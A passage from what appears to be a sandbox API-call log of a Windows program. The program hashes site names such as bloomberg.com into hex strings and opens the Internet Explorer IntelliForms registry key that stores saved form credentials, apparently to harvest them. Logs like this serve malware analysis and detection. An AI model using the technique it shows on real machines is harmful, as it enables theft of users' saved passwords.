returned="ADB8991E4637D6CD" [0097.000] lstrcatW (in: lpString1="ADB8991E4637D6CD", lpString2="43" | out: lpString1="ADB8991E4637D6CD43") returned="ADB8991E4637D6CD43" [0097.000] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.000] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="68") returned 2 [0097.000] lstrlenW (lpString="ADB8991E4637D6CD43") returned 18 [0097.000] lstrlenW (lpString="68") returned 2 [0097.000] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.000] lstrcpyW (in: lpString1=0x72912f0, lpString2="ADB8991E4637D6CD43" | out: lpString1="ADB8991E4637D6CD43") returned="ADB8991E4637D6CD43" [0097.000] lstrcatW (in: lpString1="ADB8991E4637D6CD43", lpString2="68" | out: lpString1="ADB8991E4637D6CD4368") returned="ADB8991E4637D6CD4368" [0097.000] LocalFree (hMem=0x71cf460) returned 0x0 [0097.000] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="55") returned 2 [0097.000] lstrlenW (lpString="ADB8991E4637D6CD4368") returned 20 [0097.000] lstrlenW (lpString="55") returned 2 [0097.000] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.000] lstrcpyW (in: lpString1=0x7290b70, lpString2="ADB8991E4637D6CD4368" | out: lpString1="ADB8991E4637D6CD4368") returned="ADB8991E4637D6CD4368" [0097.000] lstrcatW (in: lpString1="ADB8991E4637D6CD4368", lpString2="55" | out: lpString1="ADB8991E4637D6CD436855") returned="ADB8991E4637D6CD436855" [0097.000] LocalFree (hMem=0x72912f0) returned 0x0 [0097.000] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A2") returned 2 [0097.000] lstrlenW (lpString="ADB8991E4637D6CD436855") returned 22 [0097.000] lstrlenW (lpString="A2") returned 2 [0097.000] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.000] lstrcpyW (in: lpString1=0x72912f0, lpString2="ADB8991E4637D6CD436855" | out: lpString1="ADB8991E4637D6CD436855") returned="ADB8991E4637D6CD436855" [0097.000] lstrcatW (in: lpString1="ADB8991E4637D6CD436855", lpString2="A2" | out: lpString1="ADB8991E4637D6CD436855A2") returned="ADB8991E4637D6CD436855A2" [0097.000] LocalFree (hMem=0x7290b70) returned 0x0 [0097.000] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="42") returned 2 [0097.000] lstrlenW (lpString="ADB8991E4637D6CD436855A2") returned 24 [0097.000] lstrlenW (lpString="42") returned 2 [0097.000] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.000] lstrcpyW (in: lpString1=0x7290b70, lpString2="ADB8991E4637D6CD436855A2" | out: lpString1="ADB8991E4637D6CD436855A2") returned="ADB8991E4637D6CD436855A2" [0097.001] lstrcatW (in: lpString1="ADB8991E4637D6CD436855A2", lpString2="42" | out: lpString1="ADB8991E4637D6CD436855A242") returned="ADB8991E4637D6CD436855A242" [0097.001] LocalFree (hMem=0x72912f0) returned 0x0 [0097.001] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2B") returned 2 [0097.001] lstrlenW (lpString="ADB8991E4637D6CD436855A242") returned 26 [0097.001] lstrlenW (lpString="2B") returned 2 [0097.001] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.001] lstrcpyW (in: lpString1=0x2815670, lpString2="ADB8991E4637D6CD436855A242" | out: lpString1="ADB8991E4637D6CD436855A242") returned="ADB8991E4637D6CD436855A242" [0097.001] lstrcatW (in: lpString1="ADB8991E4637D6CD436855A242", lpString2="2B" | out: lpString1="ADB8991E4637D6CD436855A2422B") returned="ADB8991E4637D6CD436855A2422B" [0097.001] LocalFree (hMem=0x7290b70) returned 0x0 [0097.001] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EE") returned 2 [0097.001] lstrlenW (lpString="ADB8991E4637D6CD436855A2422B") returned 28 [0097.001] lstrlenW (lpString="EE") returned 2 [0097.001] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.001] lstrcpyW (in: lpString1=0x2815a80, lpString2="ADB8991E4637D6CD436855A2422B" | out: lpString1="ADB8991E4637D6CD436855A2422B") returned="ADB8991E4637D6CD436855A2422B" [0097.001] lstrcatW (in: lpString1="ADB8991E4637D6CD436855A2422B", lpString2="EE" | out: lpString1="ADB8991E4637D6CD436855A2422BEE") returned="ADB8991E4637D6CD436855A2422BEE" [0097.001] LocalFree (hMem=0x2815670) returned 0x0 [0097.001] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="31") returned 2 [0097.001] lstrlenW (lpString="ADB8991E4637D6CD436855A2422BEE") returned 30 [0097.001] lstrlenW (lpString="31") returned 2 [0097.001] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.001] lstrcpyW (in: lpString1=0x2815670, lpString2="ADB8991E4637D6CD436855A2422BEE" | out: lpString1="ADB8991E4637D6CD436855A2422BEE") returned="ADB8991E4637D6CD436855A2422BEE" [0097.001] lstrcatW (in: lpString1="ADB8991E4637D6CD436855A2422BEE", lpString2="31" | out: lpString1="ADB8991E4637D6CD436855A2422BEE31") returned="ADB8991E4637D6CD436855A2422BEE31" [0097.001] LocalFree (hMem=0x2815a80) returned 0x0 [0097.001] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="34") returned 2 [0097.001] lstrlenW (lpString="ADB8991E4637D6CD436855A2422BEE31") returned 32 [0097.001] lstrlenW (lpString="34") returned 2 [0097.001] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.001] lstrcpyW (in: lpString1=0x2815a80, lpString2="ADB8991E4637D6CD436855A2422BEE31" | out: lpString1="ADB8991E4637D6CD436855A2422BEE31") returned="ADB8991E4637D6CD436855A2422BEE31" [0097.001] lstrcatW (in: lpString1="ADB8991E4637D6CD436855A2422BEE31", lpString2="34" | out: lpString1="ADB8991E4637D6CD436855A2422BEE3134") returned="ADB8991E4637D6CD436855A2422BEE3134" [0097.001] LocalFree (hMem=0x2815670) returned 0x0 [0097.001] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="89") returned 2 [0097.001] lstrlenW (lpString="ADB8991E4637D6CD436855A2422BEE3134") returned 34 [0097.001] lstrlenW (lpString="89") returned 2 [0097.001] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.001] lstrcpyW (in: lpString1=0x28e7670, lpString2="ADB8991E4637D6CD436855A2422BEE3134" | out: lpString1="ADB8991E4637D6CD436855A2422BEE3134") returned="ADB8991E4637D6CD436855A2422BEE3134" [0097.001] lstrcatW (in: lpString1="ADB8991E4637D6CD436855A2422BEE3134", lpString2="89" | out: lpString1="ADB8991E4637D6CD436855A2422BEE313489") returned="ADB8991E4637D6CD436855A2422BEE313489" [0097.001] LocalFree (hMem=0x2815a80) returned 0x0 [0097.001] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F1") returned 2 [0097.001] lstrlenW (lpString="ADB8991E4637D6CD436855A2422BEE313489") returned 36 [0097.002] lstrlenW (lpString="F1") returned 2 [0097.002] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.002] lstrcpyW (in: lpString1=0x28e7910, lpString2="ADB8991E4637D6CD436855A2422BEE313489" | out: lpString1="ADB8991E4637D6CD436855A2422BEE313489") returned="ADB8991E4637D6CD436855A2422BEE313489" [0097.002] lstrcatW (in: lpString1="ADB8991E4637D6CD436855A2422BEE313489", lpString2="F1" | out: lpString1="ADB8991E4637D6CD436855A2422BEE313489F1") returned="ADB8991E4637D6CD436855A2422BEE313489F1" [0097.002] LocalFree (hMem=0x28e7670) returned 0x0 [0097.002] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="23") returned 2 [0097.002] lstrlenW (lpString="ADB8991E4637D6CD436855A2422BEE313489F1") returned 38 [0097.002] lstrlenW (lpString="23") returned 2 [0097.002] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.002] lstrcpyW (in: lpString1=0x28e7670, lpString2="ADB8991E4637D6CD436855A2422BEE313489F1" | out: lpString1="ADB8991E4637D6CD436855A2422BEE313489F1") returned="ADB8991E4637D6CD436855A2422BEE313489F1" [0097.002] lstrcatW (in: lpString1="ADB8991E4637D6CD436855A2422BEE313489F1", lpString2="23" | out: lpString1="ADB8991E4637D6CD436855A2422BEE313489F123") returned="ADB8991E4637D6CD436855A2422BEE313489F123" [0097.002] LocalFree (hMem=0x28e7910) returned 0x0 [0097.002] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3B") returned 2 [0097.002] lstrlenW (lpString="ADB8991E4637D6CD436855A2422BEE313489F123") returned 40 [0097.002] lstrlenW (lpString="3B") returned 2 [0097.002] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.002] lstrcpyW (in: lpString1=0x28e7910, lpString2="ADB8991E4637D6CD436855A2422BEE313489F123" | out: lpString1="ADB8991E4637D6CD436855A2422BEE313489F123") returned="ADB8991E4637D6CD436855A2422BEE313489F123" [0097.002] lstrcatW (in: lpString1="ADB8991E4637D6CD436855A2422BEE313489F123", lpString2="3B" | out: lpString1="ADB8991E4637D6CD436855A2422BEE313489F1233B") returned="ADB8991E4637D6CD436855A2422BEE313489F1233B" [0097.002] LocalFree (hMem=0x28e7670) returned 0x0 [0097.002] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.002] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.002] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.003] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.003] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.003] LocalFree (hMem=0x28e7910) returned 0x0 [0097.003] RegEnumValueW (in: hKey=0x368, dwIndex=0x22, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url16", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.003] StrStrIW (lpFirst="bloomberg.com", lpSrch="?") returned 0x0 [0097.003] StrStrIW (lpFirst="bloomberg.com", lpSrch="http://") returned 0x0 [0097.003] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.003] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.003] lstrlenW (lpString="bloomberg.com") returned 13 [0097.003] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x1c, dwFlags=0x0) returned 1 [0097.003] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.003] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BF") returned 2 [0097.003] lstrlenW (lpString="") returned 0 [0097.003] lstrlenW (lpString="BF") returned 2 [0097.003] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0097.004] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0097.004] lstrcatW (in: lpString1="", lpString2="BF" | out: lpString1="BF") returned="BF" [0097.004] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DC") returned 2 [0097.004] lstrlenW (lpString="BF") returned 2 [0097.004] lstrlenW (lpString="DC") returned 2 [0097.004] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca380 [0097.004] lstrcpyW (in: lpString1=0x28ca380, lpString2="BF" | out: lpString1="BF") returned="BF" [0097.004] lstrcatW (in: lpString1="BF", lpString2="DC" | out: lpString1="BFDC") returned="BFDC" [0097.004] LocalFree (hMem=0x7222e70) returned 0x0 [0097.004] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="69") returned 2 [0097.004] lstrlenW (lpString="BFDC") returned 4 [0097.004] lstrlenW (lpString="69") returned 2 [0097.004] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0097.004] lstrcpyW (in: lpString1=0x28c81c0, lpString2="BFDC" | out: lpString1="BFDC") returned="BFDC" [0097.004] lstrcatW (in: lpString1="BFDC", lpString2="69" | out: lpString1="BFDC69") returned="BFDC69" [0097.004] LocalFree (hMem=0x28ca380) returned 0x0 [0097.004] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A9") returned 2 [0097.004] lstrlenW (lpString="BFDC69") returned 6 [0097.004] lstrlenW (lpString="A9") returned 2 [0097.004] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca380 [0097.004] lstrcpyW (in: lpString1=0x28ca380, lpString2="BFDC69" | out: lpString1="BFDC69") returned="BFDC69" [0097.004] lstrcatW (in: lpString1="BFDC69", lpString2="A9" | out: lpString1="BFDC69A9") returned="BFDC69A9" [0097.004] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.004] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F7") returned 2 [0097.004] lstrlenW (lpString="BFDC69A9") returned 8 [0097.004] lstrlenW (lpString="F7") returned 2 [0097.004] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0097.004] lstrcpyW (in: lpString1=0x28c81c0, lpString2="BFDC69A9" | out: lpString1="BFDC69A9") returned="BFDC69A9" [0097.004] lstrcatW (in: lpString1="BFDC69A9", lpString2="F7" | out: lpString1="BFDC69A9F7") returned="BFDC69A9F7" [0097.004] LocalFree (hMem=0x28ca380) returned 0x0 [0097.004] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A3") returned 2 [0097.004] lstrlenW (lpString="BFDC69A9F7") returned 10 [0097.004] lstrlenW (lpString="A3") returned 2 [0097.004] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0097.004] lstrcpyW (in: lpString1=0x71cf460, lpString2="BFDC69A9F7" | out: lpString1="BFDC69A9F7") returned="BFDC69A9F7" [0097.004] lstrcatW (in: lpString1="BFDC69A9F7", lpString2="A3" | out: lpString1="BFDC69A9F7A3") returned="BFDC69A9F7A3" [0097.004] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.004] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="92") returned 2 [0097.004] lstrlenW (lpString="BFDC69A9F7A3") returned 12 [0097.005] lstrlenW (lpString="92") returned 2 [0097.005] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0097.005] lstrcpyW (in: lpString1=0x71cfb40, lpString2="BFDC69A9F7A3" | out: lpString1="BFDC69A9F7A3") returned="BFDC69A9F7A3" [0097.005] lstrcatW (in: lpString1="BFDC69A9F7A3", lpString2="92" | out: lpString1="BFDC69A9F7A392") returned="BFDC69A9F7A392" [0097.005] LocalFree (hMem=0x71cf460) returned 0x0 [0097.005] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4D") returned 2 [0097.005] lstrlenW (lpString="BFDC69A9F7A392") returned 14 [0097.005] lstrlenW (lpString="4D") returned 2 [0097.005] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0097.005] lstrcpyW (in: lpString1=0x71cf460, lpString2="BFDC69A9F7A392" | out: lpString1="BFDC69A9F7A392") returned="BFDC69A9F7A392" [0097.005] lstrcatW (in: lpString1="BFDC69A9F7A392", lpString2="4D" | out: lpString1="BFDC69A9F7A3924D") returned="BFDC69A9F7A3924D" [0097.005] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.005] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="16") returned 2 [0097.005] lstrlenW (lpString="BFDC69A9F7A3924D") returned 16 [0097.005] lstrlenW (lpString="16") returned 2 [0097.005] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0097.005] lstrcpyW (in: lpString1=0x71cfb40, lpString2="BFDC69A9F7A3924D" | out: lpString1="BFDC69A9F7A3924D") returned="BFDC69A9F7A3924D" [0097.005] lstrcatW (in: lpString1="BFDC69A9F7A3924D", lpString2="16" | out: lpString1="BFDC69A9F7A3924D16") returned="BFDC69A9F7A3924D16" [0097.005] LocalFree (hMem=0x71cf460) returned 0x0 [0097.005] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C0") returned 2 [0097.005] lstrlenW (lpString="BFDC69A9F7A3924D16") returned 18 [0097.005] lstrlenW (lpString="C0") returned 2 [0097.005] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.005] lstrcpyW (in: lpString1=0x7290b70, lpString2="BFDC69A9F7A3924D16" | out: lpString1="BFDC69A9F7A3924D16") returned="BFDC69A9F7A3924D16" [0097.005] lstrcatW (in: lpString1="BFDC69A9F7A3924D16", lpString2="C0" | out: lpString1="BFDC69A9F7A3924D16C0") returned="BFDC69A9F7A3924D16C0" [0097.005] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.005] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D4") returned 2 [0097.005] lstrlenW (lpString="BFDC69A9F7A3924D16C0") returned 20 [0097.005] lstrlenW (lpString="D4") returned 2 [0097.005] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.005] lstrcpyW (in: lpString1=0x72912f0, lpString2="BFDC69A9F7A3924D16C0" | out: lpString1="BFDC69A9F7A3924D16C0") returned="BFDC69A9F7A3924D16C0" [0097.005] lstrcatW (in: lpString1="BFDC69A9F7A3924D16C0", lpString2="D4" | out: lpString1="BFDC69A9F7A3924D16C0D4") returned="BFDC69A9F7A3924D16C0D4" [0097.005] LocalFree (hMem=0x7290b70) returned 0x0 [0097.005] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DA") returned 2 [0097.005] lstrlenW (lpString="BFDC69A9F7A3924D16C0D4") returned 22 [0097.005] lstrlenW (lpString="DA") returned 2 [0097.005] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.006] lstrcpyW (in: lpString1=0x7290b70, lpString2="BFDC69A9F7A3924D16C0D4" | out: lpString1="BFDC69A9F7A3924D16C0D4") returned="BFDC69A9F7A3924D16C0D4" [0097.006] lstrcatW (in: lpString1="BFDC69A9F7A3924D16C0D4", lpString2="DA" | out: lpString1="BFDC69A9F7A3924D16C0D4DA") returned="BFDC69A9F7A3924D16C0D4DA" [0097.006] LocalFree (hMem=0x72912f0) returned 0x0 [0097.006] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D9") returned 2 [0097.006] lstrlenW (lpString="BFDC69A9F7A3924D16C0D4DA") returned 24 [0097.006] lstrlenW (lpString="D9") returned 2 [0097.006] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.006] lstrcpyW (in: lpString1=0x72912f0, lpString2="BFDC69A9F7A3924D16C0D4DA" | out: lpString1="BFDC69A9F7A3924D16C0D4DA") returned="BFDC69A9F7A3924D16C0D4DA" [0097.006] lstrcatW (in: lpString1="BFDC69A9F7A3924D16C0D4DA", lpString2="D9" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9") returned="BFDC69A9F7A3924D16C0D4DAD9" [0097.006] LocalFree (hMem=0x7290b70) returned 0x0 [0097.006] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D0") returned 2 [0097.006] lstrlenW (lpString="BFDC69A9F7A3924D16C0D4DAD9") returned 26 [0097.006] lstrlenW (lpString="D0") returned 2 [0097.006] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.006] lstrcpyW (in: lpString1=0x2815a80, lpString2="BFDC69A9F7A3924D16C0D4DAD9" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9") returned="BFDC69A9F7A3924D16C0D4DAD9" [0097.006] lstrcatW (in: lpString1="BFDC69A9F7A3924D16C0D4DAD9", lpString2="D0" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D0") returned="BFDC69A9F7A3924D16C0D4DAD9D0" [0097.006] LocalFree (hMem=0x72912f0) returned 0x0 [0097.006] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0D") returned 2 [0097.006] lstrlenW (lpString="BFDC69A9F7A3924D16C0D4DAD9D0") returned 28 [0097.006] lstrlenW (lpString="0D") returned 2 [0097.006] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.006] lstrcpyW (in: lpString1=0x2815670, lpString2="BFDC69A9F7A3924D16C0D4DAD9D0" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D0") returned="BFDC69A9F7A3924D16C0D4DAD9D0" [0097.006] lstrcatW (in: lpString1="BFDC69A9F7A3924D16C0D4DAD9D0", lpString2="0D" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00D") returned="BFDC69A9F7A3924D16C0D4DAD9D00D" [0097.006] LocalFree (hMem=0x2815a80) returned 0x0 [0097.006] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E4") returned 2 [0097.006] lstrlenW (lpString="BFDC69A9F7A3924D16C0D4DAD9D00D") returned 30 [0097.006] lstrlenW (lpString="E4") returned 2 [0097.006] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.006] lstrcpyW (in: lpString1=0x2815a80, lpString2="BFDC69A9F7A3924D16C0D4DAD9D00D" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00D") returned="BFDC69A9F7A3924D16C0D4DAD9D00D" [0097.006] lstrcatW (in: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00D", lpString2="E4" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE4") returned="BFDC69A9F7A3924D16C0D4DAD9D00DE4" [0097.006] LocalFree (hMem=0x2815670) returned 0x0 [0097.006] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4D") returned 2 [0097.006] lstrlenW (lpString="BFDC69A9F7A3924D16C0D4DAD9D00DE4") returned 32 [0097.006] lstrlenW (lpString="4D") returned 2 [0097.006] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.006] lstrcpyW (in: lpString1=0x2815670, lpString2="BFDC69A9F7A3924D16C0D4DAD9D00DE4" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE4") returned="BFDC69A9F7A3924D16C0D4DAD9D00DE4" [0097.006] lstrcatW (in: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE4", lpString2="4D" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE44D") returned="BFDC69A9F7A3924D16C0D4DAD9D00DE44D" [0097.006] LocalFree (hMem=0x2815a80) returned 0x0 [0097.007] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="45") returned 2 [0097.007] lstrlenW (lpString="BFDC69A9F7A3924D16C0D4DAD9D00DE44D") returned 34 [0097.007] lstrlenW (lpString="45") returned 2 [0097.007] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.007] lstrcpyW (in: lpString1=0x28e7910, lpString2="BFDC69A9F7A3924D16C0D4DAD9D00DE44D" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE44D") returned="BFDC69A9F7A3924D16C0D4DAD9D00DE44D" [0097.007] lstrcatW (in: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE44D", lpString2="45" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE44D45") returned="BFDC69A9F7A3924D16C0D4DAD9D00DE44D45" [0097.007] LocalFree (hMem=0x2815670) returned 0x0 [0097.007] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9F") returned 2 [0097.007] lstrlenW (lpString="BFDC69A9F7A3924D16C0D4DAD9D00DE44D45") returned 36 [0097.007] lstrlenW (lpString="9F") returned 2 [0097.007] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.007] lstrcpyW (in: lpString1=0x28e7670, lpString2="BFDC69A9F7A3924D16C0D4DAD9D00DE44D45" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE44D45") returned="BFDC69A9F7A3924D16C0D4DAD9D00DE44D45" [0097.007] lstrcatW (in: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE44D45", lpString2="9F" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F") returned="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F" [0097.007] LocalFree (hMem=0x28e7910) returned 0x0 [0097.007] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="33") returned 2 [0097.007] lstrlenW (lpString="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F") returned 38 [0097.007] lstrlenW (lpString="33") returned 2 [0097.007] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.007] lstrcpyW (in: lpString1=0x28e7910, lpString2="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F") returned="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F" [0097.007] lstrcatW (in: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F", lpString2="33" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F33") returned="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F33" [0097.007] LocalFree (hMem=0x28e7670) returned 0x0 [0097.007] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A8") returned 2 [0097.007] lstrlenW (lpString="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F33") returned 40 [0097.007] lstrlenW (lpString="A8") returned 2 [0097.007] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.007] lstrcpyW (in: lpString1=0x28e7670, lpString2="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F33" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F33") returned="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F33" [0097.007] lstrcatW (in: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F33", lpString2="A8" | out: lpString1="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F33A8") returned="BFDC69A9F7A3924D16C0D4DAD9D00DE44D459F33A8" [0097.007] LocalFree (hMem=0x28e7910) returned 0x0 [0097.007] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.007] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.007] RegOpenKeyExW (in: hKey=0xffffffff80000001, 